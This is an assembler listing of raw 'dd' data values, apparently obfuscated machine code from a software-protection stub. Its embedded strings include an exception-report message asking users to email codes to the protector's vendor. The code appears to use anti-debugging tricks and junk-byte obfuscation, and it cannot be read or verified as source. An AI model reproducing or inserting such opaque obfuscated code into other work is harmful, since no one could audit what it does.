		dd 64FF922h, 3ED78166h,	8B0F5049h, 0Ah,	5E9h, 0CC67C200h
		dd 9E9B2B0h, 0BF000000h, 0AD58DF9Ch, 181CEB4Dh,	70C98150h
		dd 0FF2AF071h, 4FF8EFB5h, 158D2306h, 56064D21h,	0DB95FF5Ah
		dd 8B064FF8h, 4D143595h, 0FC08506h, 1A85h, 0A1BD2900h
		dd 0E9064D1Bh, 6Dh, 0AE9h, 18725A00h, 977769AFh, 898BC159h
		dd 4FF8F385h, 0D6BF0F06h, 0F8F3B5FFh, 8589064Fh, 64D0EC5h
		dd 6ED95FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 10A967C3h, 0E159774Bh, 60B9CDF8h
		dd 800FCF8Bh, 6, 25E9BD89h, 8561064Dh, 6850FC0h, 89000000h
		dd 4D0DE19Dh, 8B106A06h, 83D18AC8h, 4D0B99BDh, 840F0006h
		dd 40h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h
		dd 9CC35343h, 0E5BD8B3Fh, 8D064D03h, 4FF94C85h,	6840F06h
		dd 8B000000h, 4D0C1195h, 0FE906h, 0BD2B0000h, 64D296Dh
		dd 0F922858Dh, 0BF0F064Fh, 6A50C9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 6FF06EC3h
		dd 6E9h, 0BFDB2F00h, 0FFF3F39Dh, 4FF8EFB5h, 0BECABA06h
		dd 95FF734Eh, 64FF8E7h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 9BC35242h, 1DE99503h,	0C085064Dh, 41850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 27B37C3h,	0E341C0DBh, 0CD20B960h,	13E96A1Fh
		dd 10000000h, 69219576h, 5E57F521h, 0E96D97EBh,	8FEF0D7h
		dd 89617165h, 4FF8F385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0FD5E11A6h, 0BF0FB022h
		dd 89006AD7h, 4D2439BDh, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0A24DC357h
		dd 685F3AFh, 60FBC4DBh,	53C18B60h, 0B52B615Eh, 64D32CDh
		dd 0F3B5FF61h, 6A064FF8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 326DC357h, 0BDE184BAh
		dd 81DABFA2h, 3D57DEF1h, 0DF95FF47h, 85064FF8h,	26850FC0h
		dd 29000000h, 4D303D85h, 860F5706h, 18h, 12E8h,	0B75AD800h
		dd 70D259B6h, 0D0170FF1h, 0E65B8723h, 59EDCEEAh, 0F3B5FF59h
		dd 66064FF8h, 0BE8D08Bh, 0EF000000h, 0FA118AFCh, 8D6D5379h
		dd 8D0FACC3h, 2, 0FF5F6160h, 4D06ED95h,	0BD8D8B06h, 85064D1Ah
		dd 20850FC0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 4E8CC355h, 6ADB5508h
		dd 99958B00h, 68064D24h, 80h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0BFC35141h,	0BF6626B4h, 36A0D13h
		dd 0F2CF8166h, 60006A41h, 0DDDB589h, 6A61064Dh,	5800F00h
		dd 66000000h, 6D77CF81h, 68h, 41BD8BC0h, 0FF064D18h, 4FF96BB5h
		dd 0D19D8906h, 0FF064D0Fh, 4D136D95h, 81B58906h, 83064D06h
		dd 850FFFF8h, 507h, 2EF1BD8Bh, 85FF064Dh, 65003D9h, 2491BD8Bh
		dd 0BD83064Dh, 65003D9h, 0EA840F02h, 60000003h,	0A9958Bh
		dd 0B70F064Dh, 858D61F3h, 5AF59Fh, 8D0Fh, 0D0FF0000h, 13E9h
		dd 1324D900h, 0DDC97E71h, 46E8E306h, 0B779262Fh, 15E72A8Fh
		dd 0EFF2858Dh, 6A005Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0E1B55BC3h, 0C22FE23Ch, 0BF0FD53Ch
		dd 0E9D38AFBh, 0Eh, 69C59DB1h, 46807B6Dh, 1B65EA77h, 0D0FFE627h
		dd 0AD8D8B60h, 0F8064D26h, 5E96061h, 42000000h,	79F2CC69h
		dd 0C08B61F8h, 1DE98D89h, 0BD83064Dh, 64D1BD9h,	83097500h
		dd 4D0011BDh, 19740006h, 0C08B5350h, 7D8B8h, 75858900h
		dd 8D064D25h, 4FB7159Dh, 5BD3FF06h, 11BD8358h, 64D00h
		dd 53501774h, 7D8B8h, 75858900h, 8D064D25h, 4FB4049Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 5D1D503Ah, 6A3D2121h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 9953C357h
		dd 0D1212DEEh, 6830Fh, 8D290000h, 64D1DEDh, 60ABB966h
		dd 80B9C08Bh, 684DA23Fh, 0F003Fh, 2D09958Bh, 6A064Dh, 689905BFh
		dd 89006A5Dh, 4D27458Dh, 2FBF6606h, 0E995FFBFh,	81064D21h
		dd 0C2BCC9D9h, 0FC08577h, 684h,	0E1852900h, 66064D32h
		dd 6F11E181h, 0F8EF8589h, 0BD0B064Fh, 64D03D5h,	28C0Fh
		dd 0CB8B0000h, 0F01FF68h, 83595300h, 4D0B99BDh,	840F0006h
		dd 2Fh,	19BD8B56h, 5F064D20h, 0F94C858Dh, 820F064Fh, 5
		dd 8BDF8166h, 1DE964h, 6E80000h, 1D000000h, 33FBD894h
		dd 7371BF6Ah, 8D5A21FFh, 4FF92285h, 18D8906h, 50064D03h
		dd 0EFB5FFF8h, 6A064FF8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 7173C357h, 0C9A193DEh
		dd 0F8E795FFh, 8B66064Fh, 0F38589CEh, 0B9064FF8h, 7C8B48FFh
		dd 230985C7h, 64Dh, 95010000h, 64D1859h, 0F8F3BD83h, 0F00064Fh
		dd 18E84h, 0FEBF0F00h, 0FBD1858Dh, 0F50064Fh, 8Dh, 81016A00h
		dd 1D6473EFh, 5E96Bh, 674B0000h, 0FF5A09BFh, 4FF8F3B5h
		dd 0D1958B06h, 0FF064D1Fh, 4FF8EB95h, 0D8D2906h, 0F064D27h
		dd 68Eh, 0BDC98100h, 0FF322BB7h, 4FF8F3B5h, 41B52906h
		dd 0FF064D1Ch, 4D06ED95h, 13E906h, 59D10000h, 0EF46A8EBh
		dd 1658A26Ch, 0B174682Ah, 325BC362h, 1FF6808h, 8166000Fh
		dd 832235CAh, 4D0B99BDh, 840F0006h, 30h, 1B69958Bh, 858D064Dh
		dd 64FF94Ch, 14E9h, 0A766DC00h,	93189638h, 0D37B163Bh
		dd 0E9E8ACA4h, 32304E84h, 2EE91Fh, 0F1810000h, 6F747C38h
		dd 0F922858Dh, 6A064Fh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 4EFF4EC3h, 0F5FAE7B9h, 52006A50h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0D1450F0Fh, 11FD8529h, 0B5FF064Dh, 64FF8EFh,	4850Fh
		dd 0BA660000h, 95FF2B1Fh, 64FF8E7h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0FAC35040h,	0AF8BC0C5h, 0F726E42h
		dd 682h, 7D8D8B00h, 89064D14h, 4D231595h, 0F3858906h, 89064FF8h
		dd 4D1145B5h, 0F3B5FF06h, 8B064FF8h, 4D1AED8Dh,	0E395FF06h
		dd 56064FF8h, 0F3B5FF5Fh, 81064FF8h, 89A831F1h,	0ED95FF15h
		dd 0F064D06h, 684h, 0B1B52900h,	0E9064D27h, 0FFFFF71Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6C35343h
		dd 0D11D7CD9h, 0AC18297Eh, 3CB5FFFCh, 0E9065004h, 9, 35E52DAAh
		dd 0AFE915F9h, 5595FF30h, 89064D2Eh, 4D0C05BDh,	99858B06h
		dd 0E9064D11h, 62Fh, 39B58956h,	5F064D12h, 0FBF1B58Dh
		dd 6A064Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 5548FDC3h, 0B1FB8B66h, 3858D4Fh, 6A064FA9h
		dd 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 5669C350h, 5B61DCB0h, 0F8FD808h, 0B70FC9B7h,	66D0FFC8h
		dd 0CC4FE981h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 19113BC3h, 795630D2h, 6FB99307h
		dd 0FF779184h, 4D231D95h, 8B5A5706h, 0E98166F3h, 858D5A47h
		dd 64FA903h, 2475958Bh,	0D0FF064Dh, 0C810Fh, 7E90000h
		dd 6E000000h, 71285E82h, 6A01E5h, 0FFC8B70Fh, 4D231D95h
		dd 0A58D8906h, 8B064D0Bh, 518531C0h, 83064D32h,	4D1BD9BDh
		dd 9750006h, 11BD83h, 7400064Dh, 8B535019h, 7D9B8C0h, 85890000h
		dd 64D2575h, 0B7159D8Dh, 0D3FF064Fh, 0BD83585Bh, 64D0011h
		dd 50177400h, 7D9B853h,	85890000h, 64D2575h, 0B4049D8Dh
		dd 0D3FF064Fh, 0DE9585Bh, 12000000h, 77F694E3h,	6F17049Ah
		dd 5348BBC6h, 10058D8Bh, 0C08B064Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0CEC35343h,	0A0D7D903h, 25C4ED71h
		dd 22BDBD23h, 0B150064Dh, 6AD88B5Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 8651C357h
		dd 0D089E31Dh, 75F652A5h, 2860Fh, 0EC8A0000h, 999D8D53h
		dd 8B064D12h, 8B038903h, 43895043h, 0D59D8D50h,	8B065003h
		dd 5B038903h, 14958D0Bh, 0DE80064Dh, 8B006A14h,	4D0A6DBDh
		dd 0D5858D06h, 89065003h, 4D1811BDh, 95895006h,	64D28D5h
		dd 8166606Ah, 8DF3AFD2h, 4D129985h, 6DBD0906h, 50064D32h
		dd 2800Fh, 0D08B0000h, 0BD09006Ah, 64D1EE1h, 10E9006Ah
		dd 0B7000000h, 9A821231h, 4357C021h, 4A769F49h,	68111D3Ch
		dd 1800h, 151D8D89h, 0E580064Dh, 958B5343h, 64D21E5h, 17E595FFh
		dd 0E860064Dh, 0Dh, 39361445h, 0E26EA8Eh, 8611FEABh, 5B07B0DDh
		dd 61ADE480h, 29B995FFh, 7E8064Dh, 91000000h, 40CAC4FCh
		dd 8D897A54h, 64D17C1h,	0D9BD8B5Fh, 0FF064D0Bh,	50043CB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0B96611BBh, 860FD4DBh, 6, 30518D89h, 95FF064Dh
		dd 64D2E55h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0D1C35242h, 14A78241h, 9D89CE68h, 64D3031h, 1299858Dh
		dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 149909C3h, 4D9C156Ah, 0EE93004h, 1D000000h
		dd 63A9E86Ch, 0F4191B87h, 346E2C83h, 0AE9F4h, 47590000h
		dd 98B16A18h, 563420D6h, 8918408Bh, 4D1F8D9Dh, 7985C706h
		dd 64D0Bh, 57000000h, 800Fh, 83590000h,	4D0B99BDh, 840F0006h
		dd 62h,	0BE8h, 84AE9700h, 875BD615h, 90513943h,	5FCE8B66h
		dd 8C3Dh, 0C830F00h, 6A000002h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 36EEC355h, 664898E3h
		dd 815D64DBh, 9551A1C2h, 0D18D313Ah, 0E9064D31h, 1Ch, 0C9B52960h
		dd 81064D0Bh, 3FE8CDCEh, 963D6124h, 0F000000h, 1BE83h
		dd 0E9CD8000h, 0F59F858Dh, 8D8B005Ah, 64D0301h,	3BBFD0FFh
		dd 8D3A8BC5h, 5AEFF285h, 81D0FF00h, 0FB6D6AC9h,	14E816h
		dd 0A4750000h, 0D9C3A8DEh, 9785EA17h, 76B05057h, 22893575h
		dd 0B589F644h, 64D0F31h, 83C08B5Ah, 4D1BD9BDh, 9750006h
		dd 11BD83h, 7400064Dh, 8B535019h, 0BC6B8C0h, 85890000h
		dd 64D2575h, 0B7159D8Dh, 0D3FF064Fh, 0BD83585Bh, 64D0011h
		dd 50177400h, 0BC6B853h, 85890000h, 64D2575h, 0B4049D8Dh
		dd 0D3FF064Fh, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0BB1543C3h, 39E981B1h, 95DED83h
		dd 4D276185h, 0BD896006h, 64D2279h, 68A0Fh, 9D8B0000h
		dd 64D2D55h, 0E9C08B61h, 0Fh, 6F6506B7h, 0BD72B164h, 137EFBF5h
		dd 830CE233h, 850FFFF8h, 66h, 198B0Fh, 11E80000h, 5E000000h
		dd 0BB5662A2h, 0D7FCCA38h, 0ECED296Dh, 0D43DBD6Ah, 6659D08Bh
		dd 85C7CF8Bh, 64D2971h,	0
		dd 1BC19589h, 3AE9064Dh, 80000001h, 5BE9B1F2h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 4DBAC352h, 485EA2C2h, 11918D8Bh, 0F883064Dh
		dd 2B850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 1A05C353h, 5E6F3F3Bh
		dd 0E90E8AF3h, 0FBh, 94E97CB2h,	6AFFFFF1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 6C8DC351h
		dd 2616538h, 0E9FE23B9h, 7, 187B9AEh, 8B398CF7h, 49BD8BC0h
		dd 83064D27h, 4D1BD9BDh, 9750006h, 11BD83h, 7400064Dh
		dd 8B535019h, 7DDB8C0h,	85890000h, 64D2575h, 0B7159D8Dh
		dd 0D3FF064Fh, 0BD83585Bh, 64D0011h, 50177400h,	7DDB853h
		dd 85890000h, 64D2575h,	0B4049D8Dh, 0D3FF064Fh,	820F585Bh
		dd 2, 0DE9FE8Bh, 0E8000000h, 863ECCD5h,	2915B93Ch, 0DA2A9865h
		dd 8B66C08Bh, 248E9F9h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0E25549C3h, 0D07B1D8Eh
		dd 29515947h, 4D31F9B5h, 0D9858D06h, 66065001h,	2B92D181h
		dd 3D18589h, 95010650h,	64D0C0Dh, 4DE9h, 0D9D8900h, 8D064D03h
		dd 4FFFE185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0B966E907h, 0E94081EAh, 8, 0C0D77906h
		dd 20302C6Dh, 880Fh, 85890000h,	65003D1h, 0FB99529h, 346A064Dh
		dd 461858Dh, 0FF50064Dh, 5003D1B5h, 0FF006A06h,	4D2F4995h
		dd 7F88306h, 162840Fh, 8C660000h, 4C3F6DBh, 0FC850Fh, 85C60000h
		dd 64D26E5h, 0B8526856h, 0B5FF9CA8h, 64D1431h, 3906858Dh
		dd 0D0FF064Dh, 68046Ah,	6A000010h, 0FF006A64h, 448589D0h
		dd 0C6065004h, 4D26E585h, 9B684706h, 0FFEC18ACh, 4D1431B5h
		dd 6858D06h, 0FF064D39h, 8BD0FFD0h, 0E585C6F0h,	4F064D26h
		dd 2F266168h, 95B5FFC6h, 8D064D03h, 4D390685h, 8DD0FF06h
		dd 5004409Dh, 286A5306h, 85D0FF56h, 0C60075C0h,	4D26E585h
		dd 98684106h, 0FFDB8764h, 4D0395B5h, 6858D06h, 0FF064D39h
		dd 5D8589D0h, 0C6065004h, 4D26E585h, 0A4684C06h, 0FF80A4E7h
		dd 4D0395B5h, 6858D06h,	0FF064D39h, 449D8BD0h, 8D065004h
		dd 8D53045Bh, 5004499Dh, 6A5306h, 9D8BD0FFh, 6500444h
		dd 103C7h, 43C70000h, 20Ch, 0F585C700h,	64D1Dh,	6A000000h
		dd 6A006A00h, 449D8B00h, 53065004h, 0B5FF006Ah,	6500440h
		dd 45D95FFh, 85C60650h,	64D26E5h, 0F7976845h, 0B5FF92A5h
		dd 64D22C1h, 3906858Dh,	0D0FF064Dh, 26A006Ah, 8C66D0FFh
		dd 4C3F6DBh, 9D8B3275h,	6500444h, 0C43C7h, 6A000000h, 8B006A00h
		dd 5004449Dh, 6A5306h, 440B5FFh, 95FF0650h, 650045Dh, 440B5FFh
		dd 95FF0650h, 64D29B9h,	95FF006Ah, 64D231Dh, 2B199D89h
		dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 2CA9FBC3h, 26F1B509h, 858D064Dh, 650370Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 65C35040h
		dd 7ACC519Dh, 0AF49A07h, 29618D29h, 8B66064Dh, 6A50D7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 4B80D6C3h, 11E8h, 80B9A00h, 0AE8E35E8h, 0AB95207Dh
		dd 0B7C6C35Fh, 8E9EED2h, 0F1000000h, 7E5B7F58h,	5A6F5473h
		dd 35FF64h, 0F000000h, 8964F9BFh, 25h, 3D952900h, 83064D20h
		dd 4D21A5BDh, 840F0006h, 9Fh, 0BD83AAB5h, 64D1281h, 90850F01h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 47EBC350h, 0F85D34Ah, 148Fh, 0FE900h
		dd 47D0000h, 0CF593D60h, 60E8ADB5h, 0A56E9FF1h,	5DBD8020h
		dd 65008h, 49850Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8B3FF5C3h, 4D2765BDh
		dd 1CCE906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 50B09AC3h, 33D08B73h, 719503DBh
		dd 33064D1Bh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 38A53658h, 8D89FC04h, 64D0531h, 73F0F40h
		dd 58F640Bh, 0
		dd 0E804C483h, 8, 0D54B1EFCh, 0EB2234Dh, 3850Fh, 8B660000h
		dd 870F5FCFh, 16h, 11E9h, 9C4B3700h, 0EF2D64ABh, 0B8DA54Dh
		dd 1620A875h, 0BD897682h, 64D2D01h, 0FFFFB83h, 2384h, 13E900h
		dd 45DD0000h, 58FA36E7h, 804C49BEh, 4A45EE21h, 10E83DA9h
		dd 102E970h, 0B5890000h, 64D2109h, 59E9h, 0F7816600h, 0BF0F00E0h
		dd 244C8BFAh, 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h
		dd 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h, 3731ED81h
		dd 838B0650h, 0B8h, 3808858Dh, 83890650h, 0B8h,	0C3C0335Dh
		dd 68A0Fh, 85890000h, 64D0BA5h,	2499B509h, 858D064Dh, 6503727h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 98C35747h
		dd 0B9A589BEh, 45D2A8Bh, 12E9h,	0EE0E9300h, 0D2FD394h
		dd 0F1CCD6CCh, 6C33A553h, 50E45EA6h, 645AF950h,	35FFh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0F9581BC3h, 258964h, 66000000h, 87B5D78Bh
		dd 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h
		dd 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh
		dd 226985C7h, 1064Dh, 8F640000h, 5, 4C48300h, 0F52BEA80h
		dd 83F8C08Bh, 4D1BD9BDh, 9750006h, 11BD83h, 7400064Dh
		dd 8B535019h, 43DB8C0h,	85890000h, 64D31A5h, 0B77C9D8Dh
		dd 0D3FF064Fh, 0BD83585Bh, 64D0011h, 50177400h,	43DB853h
		dd 85890000h, 64D31A5h,	0B41D9D8Dh, 0D3FF064Fh,	8D8B585Bh
		dd 64D00BDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0C5C35646h, 0F5C8134Dh,	123DBD8Bh, 0C08B064Dh
		dd 13AE9h, 400h, 382E3100h, 3535h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E657320h, 68742064h
		dd 6F662065h, 776F6C6Ch, 20676E69h, 65646F63h, 6F742073h
		dd 666E6920h, 726F406Fh, 736E6165h, 6D6F632Eh, 6854202Eh
		dd 206B6E61h, 2E756F79h, 0D0A0D0Ah, 2 dup(20202020h), 65727028h
		dd 43207373h, 2B4C5254h, 6E6F2043h, 69687420h, 69772073h
		dd 776F646Eh, 206F7420h, 79706F63h, 206F7420h, 70696C63h
		dd 72616F62h, 20202964h, 0D0A2020h, 65560D0Ah, 6F697372h
		dd 3D20206Eh, 0A732520h, 6568430Dh, 4E496B63h, 203D2020h
		dd 0D0A6425h, 63656843h, 54554F6Bh, 25203D20h, 500D0A64h
		dd 49636F72h, 2020204Eh, 6425203Dh, 72500D0Ah, 554F636Fh
		dd 3D202054h, 0A642520h, 6978450Dh, 204E4974h, 203D2020h
		dd 0D0A6425h, 74697845h, 2054554Fh, 25203D20h, 540D0A64h
		dd 206E6950h, 20202020h, 6425203Dh, 83000D0Ah, 4D26B5BDh
		dd 840F0006h, 12Dh, 0B234858Dh,	8D50064Fh, 4FB19E85h, 1685006h
		dd 0FF800000h, 4FB24495h, 97858D06h, 50065038h,	38A1858Dh
		dd 6A500650h, 8D006A00h, 4FB1B285h, 0B5FF5006h,	64FB234h
		dd 180595FFh, 858D064Dh, 6503897h, 0A5858D50h, 50065038h
		dd 6A006Ah, 0B1C4858Dh,	0FF50064Fh, 4FB234B5h, 595FF06h
		dd 8D064D18h, 50389785h, 858D5006h, 65038B1h, 6A006A50h
		dd 11858D00h, 50064FB2h, 0B234B5FFh, 95FF064Fh,	64D1805h
		dd 3897858Dh, 8D500650h, 5038B985h, 6A5006h, 858D006Ah
		dd 64FB22Fh, 34B5FF50h,	0FF064FB2h, 4D180595h, 97858D06h
		dd 50065038h, 38B5858Dh, 6A500650h, 8D006A00h, 4FB21885h
		dd 0B5FF5006h, 64FB234h, 180595FFh, 858D064Dh, 6503897h
		dd 0A9858D50h, 50065038h, 6A006Ah, 0B220858Dh, 0FF50064Fh
		dd 4FB234B5h, 595FF06h,	8D064D18h, 50389785h, 858D5006h
		dd 65038ADh, 6A006A50h,	27858D00h, 50064FB2h, 0B234B5FFh
		dd 95FF064Fh, 64D1805h,	0B234B5FFh, 95FF064Fh, 64D2831h
		dd 0A2E9h, 25BD8300h, 64D0Dh, 95840Fh, 0BD830000h, 64D1281h
		dd 11850F00h, 8B000000h, 4D0B1D95h, 0F8C28106h,	0E900001Ch
		dd 0Fh,	1299958Dh, 528B064Dh, 40C28134h, 893BD4C3h, 4D15BD95h
		dd 0BDBD8306h, 64D15h, 55840Fh,	9D8B0000h, 64D15BDh, 8B4CC383h
		dd 0A1858903h, 8B065038h, 4D15BD9Dh, 50C38306h,	8589038Bh
		dd 65038A5h, 15BD9D8Bh,	0C383064Dh, 89038B54h, 5038B185h
		dd 0BD9D8B06h, 83064D15h, 38B58C3h, 38B58589h, 9D8B0650h
		dd 64D15BDh, 8B5CC383h,	0A9858903h, 83065038h, 4D26B5BDh
		dd 850F0006h, 0Dh, 0D25BD83h, 0F00064Dh, 6884h,	0B9B5FF00h
		dd 0FF065038h, 5038ADB5h, 0A9B5FF06h, 0FF065038h, 5038B5B5h
		dd 0B1B5FF06h, 0FF065038h, 5038A5B5h, 0A1B5FF06h, 8D065038h
		dd 50389B85h, 858D5006h, 65038D3h, 0C9858D50h, 50064D00h
		dd 34195FFh, 0C483064Dh, 8D406A24h, 5038BD85h, 858D5006h
		dd 64D00C9h, 0FF006A50h, 4D2F4995h, 0FF016A06h,	4D231D95h
		dd 0EBC18B06h, 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 5AED815Dh, 6106503Ch, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 3C92B58Bh, 0E6810650h, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3C96B53Bh, 860F0650h
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	4D15BD85h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 0B5D95FFh,	0F50064Dh, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	4D15BD85h, 0C606h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 0BD858B00h, 86064D15h, 0FDB0A18h, 0FFFFF685h, 5185C7FFh
		dd 64D15h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 155185C7h, 100064Dh, 5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 3C3785C7h, 10650h, 0F500000h
		dd 0FE244C01h, 3C3B858Fh, 858D0650h, 6503C33h, 3C3BBD8Dh
		dd 38890650h, 23E9h, 99858D00h,	8B064D12h, 17053840h, 899B46F3h
		dd 503C3385h, 99858D06h, 8B064D12h, 85893C40h, 6503C37h
		dd 3C50858Dh, 85890650h, 64D0B5Dh, 87E9h, 0D48B5200h, 8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3EC3858Dh, 85890650h, 64D240Dh, 3EEB858Dh, 85890650h
		dd 64D2CA5h, 3F13858Dh,	85890650h, 64D23C1h, 0CA8B6660h
		dd 0BF0FC08Bh, 0D9BD83F1h, 64D1Bh, 0BD830975h, 64D0011h
		dd 50197400h, 0B8C08B53h, 40Eh,	25758589h, 9D8D064Dh, 64FB715h
		dd 585BD3FFh, 11BD83h, 7400064Dh, 0B8535017h, 40Eh, 25758589h
		dd 9D8D064Dh, 64FB404h,	585BD3FFh, 0BBDE8166h, 9EB9666Bh
		dd 6AC08B39h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0A0F1C355h, 6371FE0Bh,	99C4614Fh
		dd 21A5BD83h, 0F00064Dh, 0A84h,	1E1E900h, 81660000h, 8C5DD9E2h
		dd 0FF560DFh, 18Eh, 6661F800h, 4C7F7h, 1C5850Fh, 81660000h
		dd 0BFB938C6h, 0
		dd 8DF3B70Fh, 5041B09Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 9AF8C881h, 0F008036Fh
		dd 5E8F9h, 0B5AD0000h, 56CC8E03h, 0D6CA8166h, 935A5E96h
		dd 0DE960h, 0A3D30000h,	0AB9AAC8Eh, 61FF270Ah, 6629B214h
		dd 614111BFh, 6A9350h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 8FABE5C3h, 35FF64DEh, 0
		dd 7E9h, 98063000h, 0E3650215h,	258964h, 0B1000000h, 60C48B85h
